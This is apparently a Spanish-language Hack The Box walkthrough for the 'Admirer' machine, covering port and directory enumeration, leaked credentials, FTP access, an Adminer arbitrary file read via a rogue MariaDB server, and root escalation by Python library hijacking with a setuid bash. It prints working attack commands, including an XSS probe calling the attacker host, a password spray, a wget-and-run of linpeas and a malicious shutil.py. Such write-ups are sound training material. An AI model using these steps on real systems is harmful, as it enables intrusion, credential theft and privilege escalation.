Admirer
Improved skills
- Exploiting MySQL Arbitrary File Read via Adminer
- Python Library Hijacking
Used tools
- nmap
- gobuster
- wfuzz
- ffuf
- MariaDB
- SSH
- ftp
Information Gathering
Scanned all TCP ports:
1
sudo nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.129.8.174 -oG allPorts
Extact ports from grep file:
1
extactPorts allPorts
nmap Recognise scripts:
1
nmap -sCV -p21,22,80 10.129.8.174 -oN targeted
Enumeration
Port 21 - ftp vsftpd 3.0.3
Puerto 21 Con nmap nos daria informacion si el [[FTP]] se puede acceder anonimamente. Tambien podriamos con un comando.
1
nmap --script ftp-anon -p21 10.129.8.174
Pese a esto podemos buscar en searchsploit vsftpd para ver si hay alguna manera de explotarlo. Pero no hay para la version 3.0.3 de momento.
Port 22 - Codename OpenSSH 7.4p1 Debian 10+deb9u7
Puerto 22
Buscar en Internet: Launchpad Port 22 - OpenSSH 7.4p1 Debian 10+deb9u7 y nos da como Codename #Strech
Port 80 - http Apache httpd 2.4.25
Puerto 80
El vector de ataque ira por [[Remote Desktop]] ya que no tengo credenciales para ftp ni para ssh. Podemos usar [[whatweb]] a traves de comandos o [[Wappalyzer]] la extension del navegador.
1
whatweb -v 10.129.8.174
Option 1
Vemos un formulario por lo que podemos intentar un [[XSS Injection]] o con una pequeña traza. Para ello con python nos montamos un servidor web en un puerto a nuestra eleccion:
1
python3 -m http.server 8080
Y en el formulario que podemos enviar añadimos un script html:
1
<script src="http://10.10.14.49/pwned.js"></script>
Como el servidor no ha recibido nada detectamos que no es vulnerable y podemos desecharlo.
Option 2
El escaneo de nmap nos arrojo que existe robots.txt y /admin-dir lo comprobamos en el propio navegador. robots.txt arroja:
User-agent: *
# This folder contains personal contacts and creds, so no one -not even robots- should see it - waldo
Disallow: /admin-dir
/admin-dir nos arojja un estado Forbidden por lo que si que existe pero no podemos acceder. Con nmap podemos ver qeu rutas devuelven un estado forbiden o OK y no un 404 not found.
1
nmap --script http-enum -p80 10.129.8.174
Para ver si tiene algun dominio, es decir, hacer un [[Web content enumeration]] podemos usar herramientas como gobuster. Podemos usar varias wordlists.
1
2
3
gobuster dir -u http://10.129.8.174 -w /usr/share/dirb/wordlists/big.txt
gobuster dir -u http://10.129.8.174 -w /usr/share/SecLists/Discovery/Web-Content/raft-large-directories.txt -o Admire
O podemos usar varias herramientas (wfuzz, ffuf…)
1
ffuf -w /usr/share/SecLists/Discovery/Web-Content/raft-large-directories.txt -u http://10.129.8.174/FUZZ
1
2
3
wfuzz -u http://10.129.8.174/FUZZ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-big.txt -c --hc=404 -t 200
#--hc=404: hide content codigo 404 not foun
#-t 200 : 200 hilos para realizar la tarea
Como no encuentra nada interesante y sabemos que /admin-dir esta dispobible lo haremos a ese directorio.
1
gobuster dir -u http://10.129.8.174/admin-dir/ -w /usr/share/SecLists/Discovery/Web-Content/common.txt -o admin-dir
Con wfuzz hubiera sido asi:
1
wfuzz -c --hc=404 -t 200 -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -z list,php-html-txt http://10.129.8.174/FUZZ.FUZ2Z
Encontramos dos archivos interesantes:
- /contacts.txt
- /credentials.txt Si visitamos 10.129.8.174/admin-dir/credentials.txt obtenemos: ```python [Internal mail account] w.cooper@admirer.htb fgJr6q#S\W:$P
[FTP account] ftpuser %n?4Wz}R$tTF7
[Wordpress account] admin w0rdpr3ss01!
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
Y con contacts.txt:
```python
##########
# admins #
##########
# Penny
Email: p.wise@admirer.htb
##############
# developers #
##############
# Rajesh
Email: r.nayyar@admirer.htb
# Amy
Email: a.bialik@admirer.htb
# Leonard
Email: l.galecki@admirer.htb
#############
# designers #
#############
# Howard
Email: h.helberg@admirer.htb
# Bernadette
Email: b.rauch@admirer.htb
Con esta informacion pasamos al siguiente paso.
Exploitation
A continuación, podemos extraer los usuarios a los nombres de usuario (agregando raíz), y guardar las contraseñas en passwords, e intentar un rociado de contraseñas contra SSH usando CrackMapExec. Extraemos los usuarios asi:
1
cat *.txt | grep @ | sed 's/Email: //' | awk -F"@" '{print $1}' > usernames
Luego intentaríamos hacer ssh de esta manera (viene en la documentación pero no me funciono)
1
crackmapexec ssh 10.10.10.187 -u usernames -p passwords
Como en el archivo de credentials.txt hemos obtenido un usuario y contraseña de ftp probaremos con ello:
1
ftp 10.129.8.174
Como hemos obtenido acceso, listamos los archivos que hay con ==ls== y despues haremos un ==get== seguido del nombre del archivo, o un mget * para obtener todos los archivos. Cerramos con un quit.
Tenemos una base de datos y un archivo comprimido. Lo descomprimimos asi:
1
tar -xzf html.tar.gz
Entre las carpertas que corresponden directorios accesibles a traves de la URL encontramos utility-scripts que es la que tiene un contenido más interesante. Con grep podemos buscar donde se menciona la palabra password para ver si en algun archivo esta. Para eso buscamos desde la raiz donde estan todas las carpetas descomprimidas-
1
grep -ir password | less -S
El resto de archivos php no tiene nada interesante, asi que podemos buscar con gobuster mas directorios:
1
gobuster dir -w /usr/share/SecLists/Discovery/Web-Content/big.txt -u http://10.129.8.174/utility-scripts/ -x php,txt
Encontramos un archivo interesante. [[adminer]] Adminer es una base de datos MYSQL herramienta de administración, y podemos ingresar los detalles de la conexión, incluido el nombre del servidor
En adminer.php nos pide el login a la base de datos. Necesitamos una serie de campos que podemos tener y si no le buscamos como database o dbname
Como mucha de estas credenciales salen de index.php hacemos cat al archivo y miramos que hay y encontramos:
1
2
3
4
$servername = "localhost";
$username = "waldo";
$password = "]F7jLHw:*G>UPrTo}~A"d6b";
$dbname = "admirerdb";
Tenemos distintas credenciales que hemos ido obteniendo probaremos cual funciona. Obtenemos que ninguna funciona. Busquemos vulnerabilidades para adminer 4.6.2 en Google y encontramos esta: https://sansec.io/research/adminer-4.6.2-file-disclosure-vulnerability
Para aprovechar esto, necesitamos configurar un servidor MySQL en una máquina accesible bajo nuestro control, que contenga una base de datos, una tabla y una sola columna. Es decir creamos una base de datos. ==Tenemos que poner los siguientes comandos en sudo su== Con esto creamos una mariadb
1
systemctl start mariadb
Y con esto nos conectamos. Si da error es porque no somos usuario root.
1
mysql -u root
A continuación, podemos crear una base de datos y un usuario con menos privilegios que se puede usar para conectarse a ella de forma remota. Tenga en cuenta que especificamos backup@10.129.8.174 ya que backup@localhost sería un usuario diferente y no podría conectarse desde 10.129.8.174
1
2
3
CREATE DATABASE backup; USE backup; CREATE TABLE backup (name VARCHAR(2000));
CREATE USER 'backup'@'10.129.8.174' IDENTIFIED BY '<YOUR PASSWORD>';
GRANT ALL PRIVILEGES ON backup.* TO 'backup'@'10.129.8.174';
Luego, agregue una excepción en la política de firewall para permitir conexiones desde 10.10.10.187 al puerto 3306 localmente. Esto es fuera de MariaDB.
1
ufw allow from 10.10.10.187 to any port 3306
Ahora necesitamos configurar MariaDB para enlazar con nuestra dirección VPN tun0. Ejecute el siguiente comando para identificar los archivos de configuración de MySQL.
1
mysqld --help --verbose | less
El archivo /etc/mysql/my.cnf incluye archivos de configuración en el directorio /etc/mysql/mariadb.conf.d/ . Este contiene el archivo de configuración del servidor 50-server.cnf.
Cambie el valor de la dirección de enlace a su ==dirección IP tun0 con:==
1
sudo pico /etc/mysql/mariadb.conf.d/50-server.cnf
Reinicie el servidor MariaDB y verifique que el servicio esté escuchando en la dirección IP correcta:
1
2
systemctl restart mariadb
netstat -pano | less
Y con eso ya podemos hacer login en adminer con las credenciales que hemos determinado y nuestra tun0.
Regresdando a MariaDB creamos una tabla con una columna:
1
create table data (output varchar(1024));
Como hemos creado una tabla, lo siguiente es desde el navegador, tener seleccionada la base de datos, y pinchar a la izquierda en Comando SQL. Y ahi escribimos lo siguiente:
1
2
load data local infile "../index.php"
into table diego.data
Con eso demostramos que podemos acceder a los archivos. Y ademas podemos comprobar que la contraseña es distinta que la que teniamos anteriormente de waldo.
Con esto podemos entrar en la base de datos, cerrando sesion antes con la nuestra. Pero no hay información interesante. Probemos a ver si usa la misma contraseña en ssh.
Asi es,funciona:
Lateral Movement to user
Local Enumeration
No hay
Lateral Movement vector
No hay
Privilege Escalation
Local Enumeration
Lo primero que debe verificar son los vectores comunes de escalada de privilegios. Podemos automatizar esto usando LinPEAS Como ya tenemos descargado linpeash en ~/Descargas desde esa ruta abrimos un server con python:
1
python3 -m http.server 8000
Y desde el ssh de waldo nos vamos a /tmp y ahi hacemos un wget y ejecutamos linpeas:
1
2
3
cd /tmp
wget 10.10.14.49:8000/linpeas.sh
bash ./linpeas.sh
Esta herramienta nos da mucha informacion pero sobre todo nos dice esto que nos puede interesar:
Esa información es la misma que si hacemos:
1
sudo -l
Vamos hasta el archivo que podemos ver y hacemos cat: Si nuestro ID de usuario efectivo es 0, es decir, root, entonces podemos ejecutar varias tareas de copia de seguridad. Curiosamente, la función backup_web() ejecutará el archivo backup.py.
Al inspeccionar nuestros permisos de sudo, se encuentra que podemos ejecutar el script admin_tasks.sh como root. Además, se especifica la opción SETENV, que nos permite cambiar o añadir una variable de entorno.
Esta combinación de configuraciones presenta inadvertidamente una oportunidad de escalamiento de privilegios. Podemos crear una biblioteca de Python que defina la función make_archive que espera el script e intentar secuestrar la ejecución del script. Guarde el contenido a continuación en /dev/shm/shutil.py
Entonces podemos hacer un library hijacking.
Si volvemos a poner sudo -l nos podemos fijar que podemos hacer set a la variables de entorno.
Si miramos las variables de las librerías de python con:
1
python -c 'import sys;print sys.path'
Podemos ver sus librerías y con este comando podemos añadir:
1
export PYTHONPATH="/tmp"
Ya con eso crearemos nuestro propio shutil.py para que cuando se ejecute admin_task la opción 6 que hace referencia a backup.py, para que cargue /tmp y ahí entraría en juego shutil.py.
1
2
3
4
5
nano shutil.py
#Añadimos
import os
os.system("chmod u+s /bin/bash")
Si después de esto le pasamos al pythonpath el lugar donde esta el script
1
sudo PYTHONPATH=/tmp /opt/scripts/admin_tasks.sh
lo podremos ejecutar. En el programa elegimos la opción 6 que es la que ejecutar backupt.py Nos salta un error porque no es lo que esperaba. Pero si por detrás se ha ejecutado correctamente
Entonces si el root ha ejecutado ese script nos ha tenido que otorgar un privilegio uid a la bash. Lo comprobamos con:
1
ls -l /bin/bash
Entonces si ejecutamos la bash con el flag -p para convertirnos en propietarios
1
bash -p
Con esto obtenemos ya la bash como propietarios, somos usuario root y podemos coger la flag.
Trophy & Loot
user.txt b169fcc4c5964852165dcb6e245c3447
root.txt ea21af6fa769340fadef75788b278be4